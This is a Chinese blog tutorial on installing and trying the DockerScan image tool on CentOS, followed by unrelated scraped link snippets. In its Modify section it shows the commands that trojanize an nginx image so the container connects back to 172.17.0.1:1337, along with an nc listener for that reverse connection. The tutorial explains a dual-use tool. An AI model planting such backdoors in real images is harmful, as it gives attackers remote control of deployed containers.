前言

  本篇简单介绍Docker扫描工具DockerScan的安装使用。下述过程是在CentOS 7.6的虚拟机上进行的。

[root@localhost ~]# cat /etc/redhat-release
CentOS Linux release 7.6.1810 (Core)

Docker安装

  安装过程请参考

安装Python3

  CentOS 7.6默认自带python 2.7.5。

[root@localhost ~]# python --version
Python 2.7.

  CentOS的软件版本都比较老,DockerScan需python 3支持,使用yum命令直接安装即可。

[root@localhost ~]# yum install python3 -y              # 安装python3 
[root@localhost ~]# python3 --version                 # 查看python3 版本       
Python 3.6.
[root@localhost ~]# pip3 --version                   # 查看pip3版本
pip 9.0. from /usr/lib/python3./site-packages (python 3.6)

DockerScan安装

  使用pip3即可直接下载安装DockerScan,十分方便。

[root@localhost ~]# pip3 install dockerscan
WARNING: Running pip install with root privileges is generally not a good idea. Try `pip3 install --user` instead.
Requirement already satisfied: dockerscan in /usr/local/lib/python3./site-packages
Requirement already satisfied: click==6.7 in /usr/local/lib/python3./site-packages (from dockerscan)
Requirement already satisfied: booby-ng==0.8. in /usr/local/lib/python3./site-packages (from dockerscan)
Requirement already satisfied: requests==2.13. in /usr/local/lib/python3./site-packages (from dockerscan)
Requirement already satisfied: colorlog==2.10. in /usr/local/lib/python3./site-packages (from dockerscan)
Requirement already satisfied: python-dxf==4.0. in /usr/local/lib/python3./site-packages (from dockerscan)
Requirement already satisfied: six in /usr/local/lib/python3./site-packages (from booby-ng==0.8.->dockerscan)
Requirement already satisfied: ecdsa>=0.13 in /usr/local/lib/python3./site-packages (from python-dxf==4.0.->dockerscan)
Requirement already satisfied: www-authenticate>=0.9. in /usr/local/lib/python3./site-packages (from python-dxf==4.0.->dockerscan)
Requirement already satisfied: jws>=0.1. in /usr/local/lib/python3./site-packages (from python-dxf==4.0.->dockerscan)
Requirement already satisfied: tqdm>=4.10. in /usr/local/lib/python3./site-packages (from python-dxf==4.0.->dockerscan)

测试镜像

  我们可以使用一些镜像Hub里的Docker镜像进行测试。

[root@localhost docker]# pwd
/root/docker
[root@localhost docker]# ls
[root@localhost docker]# docker pull mysql      # 拉取mysql docker镜像
Using default tag: latest
latest: Pulling from library/mysql
80369df48736: Pull complete
e8f52315cb10: Pull complete
cf2189b391fc: Pull complete
cc98f645c682: Pull complete
27a27ac83f74: Pull complete
fa1f04453414: Pull complete
d45bf7d22d33: Pull complete
3dbac26e409c: Pull complete
9017140fb8c1: Verifying Checksum
b76dda2673ae: Download complete
bea9eb46d12a: Download complete
e1f050a38d0f: Download complete
latest: Pulling from library/mysql
80369df48736: Pull complete
e8f52315cb10: Pull complete
cf2189b391fc: Pull complete
cc98f645c682: Pull complete
27a27ac83f74: Pull complete
fa1f04453414: Pull complete
d45bf7d22d33: Pull complete
3dbac26e409c: Pull complete
9017140fb8c1: Pull complete
b76dda2673ae: Pull complete
bea9eb46d12a: Pull complete
e1f050a38d0f: Pull complete
Digest: sha256:7345ce4ce6f0c1771d01fa333b8edb2c606ca59d385f69575f8e3e2ec6695eee
Status: Downloaded newer image for mysql:latest
docker.io/library/mysql:latest
[root@localhost docker]# docker images           # 查看本地docker镜像
REPOSITORY TAG IMAGE ID CREATED SIZE
mysql latest c8ee894bd2bd days ago 456MB
[root@localhost docker]# docker save -o mysql.tar mysql    # 导出docker镜像
[root@localhost docker]# ls
mysql.tar

DockerScan使用

说明

  目前DockerScan还没有一些比较正式的官方文档,只能自己一边摸索着使用了。

  帮助文档:

[root@localhost ~]# dockerscan --help
Usage: dockerscan [OPTIONS] COMMAND [ARGS]... Options:
-v Verbose output
-d enable debug
-q, --quiet Minimal output
--version Show the version and exit.
-h, --help Show this message and exit. Commands:
image Docker images commands
registry Docker registry actions
scan Search for Open Docker Registries

  从上可以看到,目前主要支持三个命令:image、registry、scan。 【2019.10.22】

image命令

  可以使用dockerscan image --help查看子命令更细致的帮助文档。

[root@localhost docker]# dockerscan image --help          # 查看帮助文档
Usage: dockerscan image [OPTIONS] COMMAND [ARGS]... Docker images commands Options:
-h, --help Show this message and exit. Commands:
analyze looking for sensitive data from docker image      # 分析
extract extract docker image content                # 抽取docker镜像内容
info get docker image information                # 获取docker镜像信息
modify Modify a docker image commands               # 修改docker镜像命令

info

  使用info子命令查看docker镜像信息。

[root@localhost docker]# dockerscan image info mysql.tar       # info查看docker镜像信息
[ * ] Starting analyzing docker image...
[ * ] Selected image: 'mysql.tar'
[ * ] Analysis finished. Results:
[ * ] - Entry point:
[ * ] > docker-entrypoint.sh              
[ * ] - Created date = --17T04::.532313415Z
[ * ] - Docker version = 18.06.-ce              # docker版本信息
[ * ] - Cmd = mysqld
[ * ] - Environment:
[ * ] > PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
[ * ] > GOSU_VERSION=1.7
[ * ] > MYSQL_MAJOR=8.0      
[ * ] > MYSQL_VERSION=8.0.-1debian9           # mysqld的版本,当前最新版
[ * ] - Exposed ports:                      # 暴露的端口
[ * ] > :
[ * ] + tcp
[ * ] > :
[ * ] + tcp

  由上可知,关于docker镜像的一些信息。

Analyze

[root@localhost docker]# dockerscan image analyze mysql.tar     # analyze分析docker镜像
[ * ] Starting the analysis of docker image...
[ * ] Selected image: 'mysql.tar'
[ * ] Analysis finished. Results:
[ * ] - Running user = root                        # 功能有限,仅能分析出是以root运行

Extract

[root@localhost docker]# dockerscan image extract ./mysql.tar ./mysql    # 提取镜像文件
[ * ] Starting the extraction of docker image...
[ * ] Selected image: 'mysql.tar'
[ * ] Image content extracted
root@localhost docker]# ls mysql # mysql文件夹下就是典型的linux文件系统目录结构
bin boot dev docker
-entrypoint-initdb.d entrypoint.sh etc home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
[root@localhost docker]# cat ./mysql/etc/passwd | head - # 查看/etc/passwd文件内容
root:x:::root:/root:/bin/bash
daemon:x:::daemon:/usr/sbin:/usr/sbin/nologin
bin:x:::bin:/bin:/usr/sbin/nologin

Modify

  modify子命令可以用来修改docker镜像,如果某个恶意攻击者在docker镜像中加入一些恶意操作,并且如果被部署,则攻击者能远程控制这些docker容器。

  如修改导出nginx image文件导出为nginx-trojanized,每次运行该容器将连接172.17.0.1:1337。

# dockerscan image modify trojanize ./nginx.tar -l 172.17.0.1 -p  -o nginx-trojanized
# docker rmi nginx # 删除nginx image
# docker load -i nginx-trojanized.tar # 导入修改nginx-trojanized.tar 镜像
# docker run nginx:latest        # 运行该镜像

  另一端进行监听1337端口:

# nc -v -k -l 172.17.0.1 

Misc

  Dockerscan 另外两个子命令registry、scan没有什么安全扫描功能。

  registry用于上传下载image。

  scan暂不明使用方法,以及有何功能。

  总体上感觉,dockerscan的功能还不够:).

Docker安全扫描工具之DockerScan的更多相关文章

  1. Docker安全扫描工具之Anchore

    本篇简单介绍一款Docker安全扫描工具Anchore的安装和使用. 前言 下述过程是在CentOS 7.6的虚拟机上进行的. [root@localhost ~]# cat /etc/redhat- ...

  2. Docker安全扫描工具之docker-bench-security

    简介 Docker Bench for Security检查关于在生产环境中部署Docker容器的几十个常见最佳实践.这些测试都是自动化的,其灵感来自CIS Docker基准1.2.0版. 这种安全扫 ...

  3. Trivy 容器镜像扫描工具学习

    简介 官方地址:https://github.com/aquasecurity/trivy Trivy是aqua(专注云原生场景下的安全)公司的一款开源工具,之前历史文章也有对aqua的一些介绍. T ...

  4. 域名扫描工具Fierce

    域名扫描工具Fierce   该工具是一个域名扫描综合性工具.它可以快速获取指定域名的DNS服务器,并检查是否存在区域传输(Zone Transfer)漏洞.如果不存在该漏洞,会自动执行暴力破解,以获 ...

  5. NMAP分布式扫描工具dnmap

    NMAP分布式扫描工具dnmap   NMAP是一款知名的网络扫描工具.它提供丰富和强大的网络扫描功能.但很多时候,需要渗透测试人员从多个终端发起扫描任务,以快速扫描大型网络,或规避IP限制等安全策略 ...

  6. Nikto是一款Web安全扫描工具,可以扫描指定主机的web类型,主机名,特定目录,cookie,特定CGI漏洞,XSS漏洞,SQL注入漏洞等,非常强大滴说。。。

    Nikto是一款Web安全扫描工具,可以扫描指定主机的web类型,主机名,特定目录,cookie,特定CGI漏洞,XSS漏洞,SQL注入漏洞等,非常强大滴说... root@xi4ojin:~# cd ...

  7. 网站安全扫描工具--Netsparker的使用

    Netsparker是一款安全简单的web应用安全漏电扫描工具.该软件功能非常强大,使用方便.Netsparker与其他综合 性的web应用安全扫描工具相比的一个特点是它能够更好的检测SQL Inje ...

  8. 小白日记34:kali渗透测试之Web渗透-扫描工具-Burpsuite(二)

    扫描工具-Burpsuite 公共模块 0.Spider 爬网 手动爬网 先禁用截断功能 手动将页面中点击所有连接,对提交数据的地方,都进行提交[无论内容] 自动爬网[参数设置] 指定爬网路径,否则其 ...

  9. 小白日记32:kali渗透测试之Web渗透-扫描工具-QWASP_ZAP

    扫描工具-QWASP_ZAP 十大安全工具之一,集成性工具,功能完善,而且强大.既可做主动扫描,也可做截断代理.开源免费跨平台,简单易用,体验相对混乱,但在主动扫描方面,相对占优.[kali集成] # ...

随机推荐

  1. js5——页面转换

    <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8" ...

  2. CSS3 斑马条纹.html

    hvkhujluhijo hvkhujluhijo hvkhujluhijo hvkhujluhijo hvkhujluhijo <!DOCTYPE html> <html> ...

  3. 使用IDEA开发Spring入门程序

    使用IDEA开发Spring入门程序 前言 本文通过一个简单的入门程序向读者演示Spring框架的使用过程,具体如下: 一.使用IDEA创建Maven应用项目并导入相应模块 使用IDEA创建一个名为n ...

  4. jquery.validate的一个bug

    在用jquery.validate.js做输入验证中,用到了对某个字段重复性的判断,就是在某字段的验证中使用remote进行输入时用ajax不断向后台发送请求,但是奇怪的是,在你在data:{}中用n ...

  5. k8s 开船记-首航:博客站点从 docker swarm 切换到 k8s

    昨天晚上,我们将博客站点的生产环境从 docker swarm 集群切换到了 k8s 集群,开船到目前,航行非常平稳,可以说首航成功! k8s 集群是我们用10台阿里云服务器自己搭建的,1台 mast ...

  6. 60%的人不懂Python进程Process,你懂吗?

    前言本文的文字及图片来源于网络,仅供学习.交流使用,不具有任何商业用途,版权归原作者所有,如有问题请及时联系我们以作处理.作者:蒋狗    新手注意:如果你Python基础学的不够扎实,遇问题没人解答 ...

  7. Python自动输入【新手必学】

    前言 本文的文字及图片来源于网络,仅供学习.交流使用,不具有任何商业用途,版权归原作者所有,如有问题请及时联系我们以作处理.作者:哈喽哈嘿哈 这篇文章是我的第一篇文章,写的不好的地方,请大家多多指教哈 ...

  8. 【Visual Studio Code】插件

    [Visual Studio Code]插件 转载:https://www.cnblogs.com/yangchongxing/p/10625628.html 目录 ================= ...

  9. 有一部分程序员还不知道Java 中的注解到底是如何工作的?

    作者:人晓 自Java5.0版本引入注解之后,它就成为了Java平台中非常重要的一部分.开发过程中,我们也时常在应用代码中会看到诸如@Override,@Deprecated这样的注解. 这篇文章中, ...

  10. Applet和普通的Java应用程序有什么区别?

    (1)运行方式不同.Java Applet程序不能单独运行,它必须依附于一个用HTML语言编写的网页并嵌入其中,通过与Java兼容的浏览器来控制执行.Java Application是完整的程序,可以 ...